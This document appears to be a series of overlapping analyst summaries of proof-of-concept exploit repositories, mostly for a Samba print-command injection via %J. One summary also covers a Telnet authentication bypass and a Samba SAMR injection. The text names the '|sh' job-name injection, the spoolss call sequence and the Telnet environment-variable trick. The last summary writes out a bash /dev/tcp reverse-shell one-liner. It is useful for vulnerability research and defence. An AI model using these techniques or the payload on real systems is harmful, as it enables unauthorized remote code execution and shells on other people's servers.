Unauthenticated Command Injection in Samba Print Command %J Substitution

This repository is a small collection of three standalone Python proof-of-concept exploits plus a README and license. It is not tied to a common exploitation framework. The code files are CVE-2026-28372.py, CVE-2026-4408.py, and CVE-2026-4480.py, each with its own argparse-based CLI and main() entry point. CVE-2026-28372.py is a Telnet client-side exploit for a TelnetD authentication bypass/local privilege escalation scenario. It implements Telnet option negotiation manually, specifically NEW-ENVIRON handling, and injects environment variables into the server-side login process. Before connecting, it creates a local file at /tmp/login.noauth by default containing 'yes'. It then sets CREDENTIALS_DIRECTORY to the parent directory of that file and USER to the requested username (default root). The exploit connects to the target Telnet service, responds to DO/WILL/SB negotiation, sends the crafted environment block, and provides an interactive session. Main capability: bypass login authentication and obtain a shell as root or another chosen user. Attack vector is network to the Telnet service, but the vulnerability effect is local privilege escalation on the target. CVE-2026-4408.py is a Samba SAMR remote code execution PoC built with Impacket DCERPC primitives. It binds to Samba over ncacn_ip_tcp and either uses a user-specified port or brute-forces the likely dynamic SAMR port range 49152-49251. The exploit crafts a SAM_VALIDATE_INPUT_ARG structure and abuses hSamrValidatePassword by placing the attacker-controlled command string into UserAccountName. The README explains this reaches a vulnerable 'check password script' path where %u is inserted into a shell command without proper escaping. Main capability: remote arbitrary command execution on a Samba host, optionally unauthenticated depending on service exposure and configuration. CVE-2026-4480.py is another Samba RCE PoC using the spoolss/RPRN interface over the named pipe \\pipe\\spoolss. It defines custom NDR call structures for RpcStartDocPrinter, RpcWritePrinter, and RpcEndDocPrinter, opens a printer handle, submits a print job whose DocName is the attacker-controlled command, writes a few bytes of dummy print data, and ends the job to trigger execution. The vulnerable path is Samba's generic_job_submit when the print command contains %J and printing is configured unsafely. Main capability: remote arbitrary command execution through print job metadata injection. Overall, the repository's purpose is to demonstrate legacy Linux service exploitation paths discussed in the accompanying conference talk. The PoCs are operational rather than heavily weaponized: they provide direct exploitation and command execution/session access, but payload customization is manual through command-line arguments rather than modular framework support.

This repository is a small, focused proof-of-concept exploit for CVE-2026-4480, consisting of a README and a single Python script. The README explains the vulnerability: Samba printing configurations that invoke external shell commands and include the %J print job name macro can be abused for command injection when a malicious print job name is supplied. It also documents the attack prerequisites, affected versions, impact, and mitigations. The exploit implementation in exploit.py uses Samba Python bindings to talk directly to the remote spoolss service over the SMB/DCERPC named pipe \\pipe\\spoolss. It authenticates anonymously via Samba credentials, indicating the intended scenario is a guest-accessible printer share. The script opens a remote printer share, creates a print job with document_name set to "|sh", and writes attacker-controlled content into the spool body. The code comments indicate the job name is intended to land in the vulnerable %J expansion, while the spool body becomes the %s file consumed by the configured print command. When EndDocPrinter is called, Samba triggers the server-side print command, causing the injected shell syntax in the job name to pipe execution into sh and execute the spool file contents. Main capabilities: (1) remote unauthenticated or low-auth print-job submission to a Samba printer share, (2) command injection through the print job name field, (3) arbitrary command execution via the -c/--cmd option, and (4) a default detached bash reverse shell payload using /dev/tcp to connect back to an operator-supplied listener. The reverse shell is intentionally wrapped with setsid and backgrounded so the synchronous print command path does not hang the Samba process. Repository structure is minimal and operational rather than theoretical: one executable Python entry point with argument parsing and one explanatory README. This is not a detection script and not part of a larger exploit framework. It is best classified as an operational PoC because it contains a working payload path and a customizable command-execution mode, but lacks broader automation, target discovery, or payload staging features.

This repository is a small standalone Python exploit consisting of a README and a single executable script, exploit.py. The script targets a Samba print-service command injection identified in the code as CVE-2026-4480. Its workflow is straightforward: it first verifies TCP connectivity to the target on port 445, then uses Samba Python bindings to authenticate to the remote host either anonymously or with supplied credentials, binds to the spoolss RPC service over the SMB named pipe \\pipe\\spoolss, opens a printer/share handle using an operator-provided writable share or printer name, and submits a crafted print job. The core exploit behavior is in the exploit() function. It sets DocumentInfo1.document_name to "|sh", which strongly indicates an attempt to abuse shell metacharacter handling in the print subsystem. The payload body written through WritePrinter is either an arbitrary command supplied with -c/--cmd or a default bash reverse shell generated by reverse_shell(). That reverse shell connects back to the attacker’s chosen LHOST/LPORT using bash’s /dev/tcp feature and backgrounds itself with setsid. Repository structure is minimal and purpose-built: README.md documents usage and authentication modes; exploit.py contains argument parsing, target reachability checks, payload generation, SMB/RPC authentication, and print-job submission. There is no scanning, persistence, privilege escalation, or post-exploitation automation beyond command execution/reverse shell delivery. Because it includes a working payload and operator-controlled command execution, it is best classified as an operational PoC rather than a mere detector.

This repository is a small, standalone exploit PoC for CVE-2026-4480 affecting the Samba printing subsystem. It contains two files: a README describing the vulnerability, affected configurations, and mitigation guidance, and a single Python exploit script, spffcor.py, which is the operational entry point. The exploit uses Samba Python bindings to connect over the spoolss DCERPC interface via the SMB named pipe \\pipe\\spoolss on a remote host specified by --rhost. It loads default Samba parameters, guesses local credentials, then explicitly sets anonymous access before opening a remote printer share specified by --printer. The script crafts a print job with document_name set to "|sh", which appears intended to abuse unsafe shell handling in Samba's print command processing involving the %J job-description substitution. It then writes a payload as print data and completes the print job lifecycle with StartDocPrinter/StartPagePrinter/WritePrinter/EndPagePrinter/EndDocPrinter. The main capability is remote code execution leading to a reverse shell. The hardcoded payload is a bash one-liner that backgrounds itself with setsid and connects back to the attacker listener at --lhost:--lport using bash's /dev/tcp feature. Because the payload is fixed except for callback host and port, this is best classified as OPERATIONAL rather than fully weaponized. Fingerprintable targets and endpoints include the remote spoolss named pipe transport string ncacn_np:{rhost}[\\pipe\\spoolss], the printer UNC path \\{rhost}\{printer}, and the reverse-shell callback endpoint {lhost}:{lport}. The exploit is clearly offensive code rather than a detector, and it depends on a vulnerable Samba print-server configuration where %J is used unsafely in print command execution and where the attacker can reach and use the printing service.

This repository is a small standalone exploit PoC for CVE-2026-4480 affecting the Samba printing subsystem. It contains two files: a README describing the vulnerability, affected configuration, and mitigation guidance, and a single Python exploit script, spffcor.py. The script uses Samba Python bindings (samba.dcerpc.spoolss, samba.param, samba.credentials) to connect over the remote spoolss named pipe via DCERPC/SMB, open a specified printer share, and submit a crafted print job. It sets the document name to '|sh', which appears intended to influence shell execution in vulnerable print command handling tied to the %J substitution parameter. It then writes a payload consisting of a bash reverse shell command that connects back to an attacker-controlled host and port. The exploit is operational rather than a mere detector because it delivers an actual payload and attempts code execution. It is not part of a larger exploit framework. Main capabilities are remote interaction with the Samba print service, malicious print job creation, payload delivery through print data, and reverse shell establishment. Fingerprintable targets include the remote SMB/DCERPC spoolss pipe, the remote UNC printer path, and the attacker callback endpoint.

This repository is a small standalone exploit containing one Python script and a README. The script targets a Samba print-service command injection identified as CVE-2026-4480 and is written specifically around the Samba Python bindings (samba.dcerpc.spoolss, samba.param, samba.credentials). Its workflow is: initialize anonymous Samba credentials, connect to the remote spoolss RPC interface over the named pipe \\pipe\\spoolss, open a hardcoded printer share named HP-Reception, create a DocumentInfo structure with the injected document/job name "|sh", generate a shell payload, and submit a print job whose completion triggers command execution. The README demonstrates successful exploitation resulting in a reverse shell as user nobody from the target host. Repository structure is minimal: README.md provides execution examples and expected shell output; exploit.py contains all exploit logic and the CLI entry point. The code is organized into helper functions for credential initialization, spoolss connection, printer opening, malicious document info creation, payload generation, print job submission, cleanup, and argument parsing. The exploit supports two modes: a verification mode intended for safer confirmation (described as ping-based), and a full exploitation mode that attempts a reverse shell callback to attacker-supplied LHOST:LPORT. Fingerprintable targets/endpoints include the DCERPC endpoint string ncacn_np:<target>[\pipe\spoolss], the named pipe \\pipe\\spoolss, and the UNC printer path \\<target>\HP-Reception. The exploit is operational rather than a mere proof of concept because it includes end-to-end exploitation logic and a usable reverse-shell payload path, though it is not part of a larger exploitation framework.

This repository is a small standalone Python proof-of-concept exploit for CVE-2026-4480 affecting Samba's print subsystem. It contains only two files: a README describing the vulnerability, prerequisites, usage, and mitigation guidance; and `exploit.py`, the actual exploit implementation. The exploit uses Samba Python bindings to connect anonymously to the remote spooler service over the SMB/DCERPC named pipe `\\pipe\\spoolss` using the binding string `ncacn_np:<target>[\pipe\spoolss]`. It opens a printer share (default `HP-Reception`) with guest credentials, starts a print job, and sets the print job's document name to `|sh`. According to the vulnerability description, `%J` expands to the client-controlled job name inside a shell-executed `print command`, so `|sh` turns the print command into a shell-injection sink. The exploit then writes attacker-controlled content as the spool file body; because `%s` points to that spool file, the injected `sh` interprets the spool file contents as a script when the print job completes. Main capabilities: - Unauthenticated remote code execution against vulnerable Samba printer shares. - Default detached bash reverse shell callback to attacker-controlled `lhost:lport`. - Optional arbitrary command execution via `-c`, intended for blind one-shot commands. - Anonymous/guest access support via `creds.set_anonymous()`. Operational details: - The reverse shell payload uses `setsid bash -c 'bash -i >& /dev/tcp/LHOST/LPORT 0>&1' >/dev/null 2>&1 &` so execution detaches and does not block the synchronous print workflow. - The spool file must be non-empty, which the code ensures by writing either the reverse shell script or the supplied command plus newline. - Execution is blind from the RPC perspective; success is inferred via reverse shell callback or out-of-band effects. Repository structure and purpose: - `README.md`: vulnerability explanation, affected/fixed versions, requirements, CLI usage, reverse shell and blind command examples, mitigation notes, and a HackTheBox practice reference. - `exploit.py`: concise exploit implementation with three main functions: `reverse_shell()` to build the default payload, `exploit()` to perform the spoolss RPC sequence (`OpenPrinter`, `StartDocPrinter`, `StartPagePrinter`, `WritePrinter`, `EndPagePrinter`, `EndDocPrinter`, `ClosePrinter`), and `main()` to parse arguments and launch the attack. Overall, this is a real exploit PoC rather than a detector. It is operational but simple: the injection primitive is hardcoded (`document_name = '|sh'`) and the payload is either a fixed bash reverse shell or a user-supplied shell command.